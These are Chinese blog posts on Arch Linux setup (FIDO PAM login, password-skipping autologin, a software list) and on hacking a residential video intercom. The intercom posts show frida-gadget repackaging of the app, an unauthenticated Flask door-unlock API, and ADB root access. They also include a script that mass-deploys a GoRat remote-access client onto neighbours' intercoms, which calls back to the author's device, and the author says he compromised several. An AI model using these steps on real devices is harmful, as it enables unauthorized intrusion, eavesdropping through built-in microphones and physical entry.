Cond0r 发布的文章

安装

# 安装依赖
yay -S libfido2
yay -S pam-u2f

# 插入fido key 并生成key 文件

pamu2fcfg > ~/.config/fido/fido.key
# 需要触摸一下fido key

# 编辑文件
/etc/pam.d/system-local-login

# 加入一行

auth sufficient pam_u2f.so authfile=/home/c/.config/fido/fido.key cue

# 如果需要sudo也可以用fido认证,则在/etc/pam.d/sudo中也加入上面那一行即可

❯ cat sudo
#%PAM-1.0
auth sufficient pam_u2f.so authfile=/home/c/.config/fido/fido.key cue
auth        include        system-auth
account        include        system-auth
session        include        system-auth

参考资料

https://wiki.archlinux.org/title/Universal_2nd_Factor
https://old.reddit.com/r/Fedora/comments/akck9m/authenticating_with_gdm_and_sudo_with_a_u2f/

起应是不想用lightdm/gdm之类的登录管理器
我用的zsh,先在用户的~/.zprofile加入,如果是bash则是~/.bash_profile

if [[ -z $DISPLAY ]] && [[ $(tty) = /dev/tty1 ]]; then
    exec startx
fi

然后编辑你的
/etc/systemd/system/getty.target.wants/[email protected]

[Service]
# the VT is cleared by TTYVTDisallocate
# The '-o' option value tells agetty to replace 'login' arguments with an
# option to preserve environment (-p), followed by '--' for safety, and then
# the entered username.
# 原来是
ExecStart=-/sbin/agetty -a c -o '-p -- \\u' --noclear %I $TERM
# 改成,就是家一个 -a 参数,后面跟你的用户名
ExecStart=-/sbin/agetty -a c -o '-p -- \\u' --noclear %I $TERM
Type=idle

然后执行

systemctl daemon-reload
systemctl start [email protected]

这样设置之后启动还需要输入一次密码,如果想跳过密码则
编辑 /etc/pam.d/system-local-login

#%PAM-1.0
# 加入下面这一行,其中最后的 **c** 代表的是你的用户所在的用户组,一般创建用户的时候会自动创建一个同名的用户组
auth sufficient pam_succeed_if.so user ingroup c
auth      include   system-login
account   include   system-login
password  include   system-login
session   include   system-login

参考资料

https://qastack.cn/unix/42359/how-can-i-autologin-to-desktop-with-systemd
https://wiki.archlinux.org/title/LightDM_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#%E5%90%AF%E7%94%A8%E8%87%AA%E5%8A%A8%E7%99%BB%E5%BD%95

书接上回对可视对讲设备的分析,当时说可以去实现一下远程开门,今天正好有空就把这个坑填上了

http://aq.mk/index.php/archives/113.html

效果

分析

太细节的分析就不说了,根据上次定位到的函数最后发现实际其所有的串口通讯都封装在了jni library里面,就不整那么复杂的二进制逆向了,直接frida hook一把梭。

不知道是机器配置太低还是他的包有问题,导致直接frida或objection无法自动注入,一旦注入就会导致设备重启,所以这次采用frida-gadget的方式进行注入。

frida-gadget

就不详细展开说了,简单的描述就是找一个他本身就调用的so文件,然后通过给原始的so添加一个外部引用,这个引用就是我们的gadget,然后对apk重新打包安装即可。

操作如下:

# patchelf 
# libzzz.so就是gadget 这个直接去官方的github下载然后随便改个名字就行
# 后面是apk自带的的so文件
patchelf --add-needed libzzz.so libjniandroidrkmojing.so

# 生成证书
keytool -genkey -v -keystore myApp.keystore -alias myApp.keystore -keyalg RSA -validity 30000

# 签名
uber-apk-signer -a ml/ml.apk  --ks myApp.keystore --ksAlias myApp.keystore

# 安装 
adb install -r android-release-signed.apk

我在这里出现了个问题,因为该软件是系统内置的,无法卸载,重新安装的话会因为签名不同导致安装
我的解决方案是找到其路径,然后直接替换他已经释放的so文件

# 查询路径
 adb shell pm path com.mili.smarthome.snj

一般是这样的路径,这个图是随便找了个app截的

替换之后在重启app就可以发现注入成功了

方法调用


根据之前找到他的调用逻辑大概如下

# 初始化门禁, 参数是类型
Called com.android.client.InterCommClient.InterMonitorStart(int, int) 
# 解锁
Called com.android.client.InterCommClient.InterMonitorUnlock()
# 关闭监听
Called com.android.client.InterCommClient.InterMonitorStop()
# 释放程序
Called com.android.client.InterCommClient.StopInterCommClient()

先写一个js验证一下

setTimeout(function() {
    Java.perform(function() {
        var InterCommClient = Java.use('com.android.client.InterCommClient'); 
        var InterCommClientInstance = InterCommClient.$new();
        console.log(InterCommClientInstance.InterMonitorStart(49,1));
        console.log(InterCommClientInstance.InterMonitorUnlock());    
    })
})

调用成功之后就去实现一下rpc远程调用

hook.js

var InterCommClient =""
var InterCommClientInstance =""

function opendoor(a,b){
    return new Promise(resolve => {
        Java.perform(function () {
            var ua="";
            // 需要context
            var Context = Java.use('android.content.Context');
            var ctx = Java.cast(Java.use('android.app.ActivityThread').currentApplication().getApplicationContext(), Context);
            InterCommClient = Java.use('com.android.client.InterCommClient'); 
            InterCommClientInstance = InterCommClient.$new(ctx);
            var initRet = InterCommClientInstance.InterMonitorStart(a,b)
            var unlockRet = InterCommClientInstance.InterMonitorUnlock();
            var stopRet = InterCommClientInstance.InterMonitorStop()
            var closeRet = InterCommClientInstance.StopInterCommClient()
            ua=initRet + " - " + unlockRet + " - " + stopRet + " - " + closeRet
            console.log(ua)
            resolve(ua)
        })
    })

}
rpc.exports={
    opendoor:opendoor
}

在用flask写一个api

import os
from flask import Flask, escape, request,make_response
import frida

JS_CODE = open("hook.js").read()
app = Flask(__name__)
doorList = {
        "1":[49,0],
        "2":[49,1],
        "3":[48,1],
        "4":[48,2]
    }
def message_header(message, payload):
    message_type = message['type']
    if message_type == 'send':
        print('[* message]', message['payload'])

    elif message_type == 'error':
        stack = message['stack']
        print('[* error]', stack)

    else:
        print(message)
os.system("adb forward tcp:27042 tcp:27042")
device = frida.get_usb_device(30)
session = device.attach("Gadget")
script = session.create_script(JS_CODE, runtime='v8')
script.on('message', message_header)
script.load()



@app.errorhandler(500)
def page_not_found(e):
    return  'error'
@app.route("/")
def index():
    data =  open("index.html").read()
    return str(data)

@app.route("/open")
def opendoor():
    door=request.args.get("door")
    doors=doorList.get(door)
    script.exports.OpenDoor(doors[0],doors[1])
    return "success"

app.run(
        host='0.0.0.0',
        port=65511,
        debug=True
    )

参考资料

https://www.bilibili.com/read/cv13148752
https://windysha.github.io/2020/05/28/%E9%9D%9ERoot%E7%8E%AF%E5%A2%83%E4%B8%8B%E4%BD%BF%E7%94%A8Frida%E7%9A%84%E4%B8%80%E7%A7%8D%E6%96%B9%E6%A1%88/
https://www.cnblogs.com/xiaoshen666/p/11008255.html
https://www.cnblogs.com/xiaoshen666/p/11008255.html
https://fadeevab.com/frida-gadget-injection-on-android-no-root-2-methods/
https://www.cnblogs.com/xiaoweigege/p/14976108.html

软件列表

软件介绍
compton全局透明度设置
alacritty终端
flameshot截图软件
picgo图片上传工具
fcitx输入法
polybar状态栏
rofi快速启动器
microsoft-edge-stable-binedge浏览器 支持多端同步 chromium代替,yay -S 安装即可
pulseaudio-equalizer-ladspa声音
pulseaudio声音
pavucontrol-qt声音控制台
spacevimvim ide集成环境
virtualbox虚拟机
wechat-uos微信,实际是web威信套壳 但是任何帐号都可以用
goland需要去官方下载 aur中安装的不能启动
copyq剪切板管理
nemo支持hidpi的file manager
timeshift系统备份
netease-cloud-music网易云音乐
visual-studio-code-binvscode
pulseaudio-bluetooth蓝牙音箱/耳机支持组建
utools快速启动器
i3status-rusti3 bar状态栏 支持显示标题
clight屏幕/键盘亮度调节
screenkey屏幕上显示按键
obs-studio屏幕录制,直播推流
xflux护眼模式,根据日出日落自动调整成暖色

声音

sudo pacman -S pulseaudio-equalizer-ladspa  pulseaudio pavucontrol-qt pulseaudio-bluetooth 

compton

~/.config/compton.conf

inactive-opacity = 0.9; # 非焦点窗口
active-opacity = 1; #焦点窗口

fcitx


sudo pacman -S fcitx fcitx-googlepinyin
sudo pacman -S fcitx-im fcitx-configtool

fcitx-tools # 打开输入法配置 添加谷歌拼音


# 然后打开 ~/.xinitrc

export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS="@im=fcitx"
exec $(get_session "$1") # 在exec i3之前添加

virtualbox

sudo pacman -Syu virtualbox linux54-virtualbox-host-modules
sudo pacman -Sy virtualbox-guest-utils
sudo vboxreload

开机自动链接蓝牙

/etc/bluetooth/main.conf

[Policy]
AutoEnable=true

中文字体

sudo pacman -S wqy-microhei wqy-zenhei
sudo pacman -S noto-fonts-emoji # emoji
locale-gen 

locale

locale -a

/etc/rc.conf

4k缩放

~/.Xresources

Xft.dpi: 200

~/.xinitrc

export QT_AUTO_SCREEN_SCALE_FACTOR="2;2;2"
export GDK_SCALE=2
export GDK_DPI_SCALE=0.5
export ELM_SCALE=2

# 如果用的fcitx需要写在这里
export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS="@im=fcitx"

exec $(get_session "$1") # 在最后一行之前加

获取窗口class

运行 xprops 然后点击需要查看的程序即可

for_window [class="File(.*)"] floating enable

-w1274

前言

看了一眼小区用的可视对讲,是一个小的平板,后面可以插网线,开机之后发现明显就是一个安卓套壳;
该设备的主要用途是用于开楼下单元门、与其他业主通讯、控制家里的智能家居;因为是精装房,所以也就是所有住户家里都会装这么个东西,而且这玩意是带麦克风的,如果一旦沦陷,后果很严重。
针对这种小区对讲的渗透思路还是比较简单的,要么找个路由插上可视对讲的网线,
对这个小区网络进行扫描然后在找弱点,要么把这个设备pwn下来,接着往下打。

ADB

看到安卓设备,第一反应就是扫一下ADB是不是开了,默认端口5555
Pasted image 20210803115747

果然开了,下面就直接连上去

adb connect 192.168.50.138:5555
# 切换到root
adb root
adb shell

Pasted image 20210803115849

看一下正在运行的UI是属于哪个程序

adb shell dumpsys activity top | grep ACTIVITY

Pasted image 20210803115933

然后把对应的apk先下回来留档案。
一般都在/data/app目录下
Pasted image 20210803120216

下载到本地

adb pull /data/app/xxx/xxx.apk smart.apk

沦陷

看了眼netmask,

inet addr:192.168.14.10  Bcast:192.168.15.255  Mask:255.255.248.0

计算出可用地址空间是192.168.6.1-192.168.15.255
因为设备是arm的,用go写一个端口扫描,编译成arm版本传上去进行扫描,

# 编译
GOOS=linux GOARCH=arm go build portscan
# 上传
adb push portscan /mnt/tmp

Pasted image 20210803120623

扫描得到小区所有正在使用的可视对奖的设备,剩下就是开个代理或插根网线批量上马了。

扩大战果

把gorat编译一份arm版本

#arm
CGO_ENABLED=0 GOOS=linux GOARCH=arm go build -o ../goratServer/module/template/client_linux_arm -ldflags "-s -w" linux.go

在生成一个马上线到我的可视对讲设备,因为这个设备默认是不联外网的,我是自己手动链接的wifi,所以通过内网上线到我的设备

Pasted image 20210803121917

adb connect host
adb shell
adb shell 'mkdir /mnt/tmp/;chmod 777 /mnt/tmp/'
adb push client /mnt/tmp/
adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client'

上线成功
Pasted image 20210803124148

然后在通过GoRat横向上线
Pasted image 20210803124254

Pasted image 20210803124339

上线命令改成

adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client http://192.168.14.10:65443/'

即可。
这样就可以通过我自己的对讲设备作为中继,上线到我家庭内网了。
写个自动传马的bash

adb kill-server
adb connect $1
adb root;adb shell 'mkdir /data/mnt/;chmod 777 /data/tmp/'; adb push client_linux_arm /mnt/tmp/client;adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client http://192.168.14.10:65443/'

随便上线几台机器测试一下

Pasted image 20210803131853

Pasted image 20210803131911

智能家居

之前第一步就把可视对讲的apk拉到本地了,用jadx反编译一下
所有的方法基本都在这个package下面
Pasted image 20210803140449

比如说开锁的代码如下


    private class monitorLock implements Runnable {
        private monitorLock() {
        }

        public void run() {
            if (MonitorActivity.mMonitorState == 4 || MonitorActivity.mMonitorState == 5) {
                new Message();
                MonitorActivity.this.mInterCommClient.InterMonitorUnlock();
            }
        }
    }

    private class monitorSnap implements Runnable {
        private monitorSnap() {
        }

        public void run() {
            if (MonitorActivity.mMonitorState == 4 || MonitorActivity.mMonitorState == 5) {
                MonitorActivity monitorActivity = MonitorActivity.this;
                monitorActivity.mSnapPath = monitorActivity.mInterCommClient.InterSnap(2);
            }
        }
    }

简单了解其实就是通过InterCommClient进行串口通讯,发送指定格式的消息即会执行对应的动作,只要我们用他的sdk在重写一个程序即可,这部分就留着下次在折腾了。

后记

突然想起来,有邻居曾经在群里反应过说可视对讲大半夜会自动呼叫管理员或发出莫名其妙的声音。。这玩意甚至是自带麦克风的。。果断断电保平安。